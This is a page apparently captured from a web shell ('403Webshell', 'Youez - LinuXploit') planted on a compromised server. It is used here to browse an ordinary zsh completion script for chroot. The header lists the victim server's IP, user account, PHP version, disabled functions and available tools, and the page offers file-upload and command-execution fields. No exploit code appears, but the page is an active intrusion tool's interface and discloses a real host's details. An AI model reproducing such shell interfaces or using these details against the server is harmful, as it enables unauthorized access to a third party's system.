403Webshell
Server IP : 217.160.0.64  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67269618 ( 67269618)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/proc/self/root/kunden/usr/share/zsh/functions/Completion/Unix/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/proc/self/root/kunden/usr/share/zsh/functions/Completion/Unix/_chroot
#compdef chroot gchroot

local variant ret=1
local -a context line state state_descr args
local -A opt_args

_pick_variant -r variant gnu='Free Soft' unix --version

variant+=-$OSTYPE

case $variant in
  gnu-*)
    args=(
      '(: -)--help[display help information]'
      '(: -)--version[display version information]'
      '--groups=[specify supplemental group memberships]: :_sequence -s , _groups'
      '--userspec=[specify user and group to run process as]: :->userspecs'
      '--skip-chdir[do not change working directory to /]'
    )
    ;;
  *-openbsd*)
    args=(
      '-u+[specify user to run process as]: :_users'
      '-g+[specify group to run process as, and supplemental group memberships]: :_sequence -s , _groups'
    )
    ;;
  *-(darwin|dragonfly|freebsd|netbsd)*)
    args=(
      '-u+[specify user to run process as]: :_users'
      '-g+[specify group to run process as]: :_groups'
      '-G+[specify supplemental group memberships]: :_sequence -s , _groups'
    )
    ;;
esac

args+=( '1:new root directory:_directories' '*:::command:_normal' )

_arguments -s -S : $args && ret=0

# @todo user:group specs are probably used often enough to justify making a type
# function for this (see also `chown`, `cpio`, `rsync`, ...)
[[ $state == userspecs ]] &&
if compset -P '*:*:'; then
  ret=1
elif compset -P '*:'; then
  _groups && ret=0
elif compset -S ':*'; then
  _users && ret=0
else
  _users -qS : && ret=0
fi

return ret

Youez - 2016 - github.com/yon3zu
LinuXploit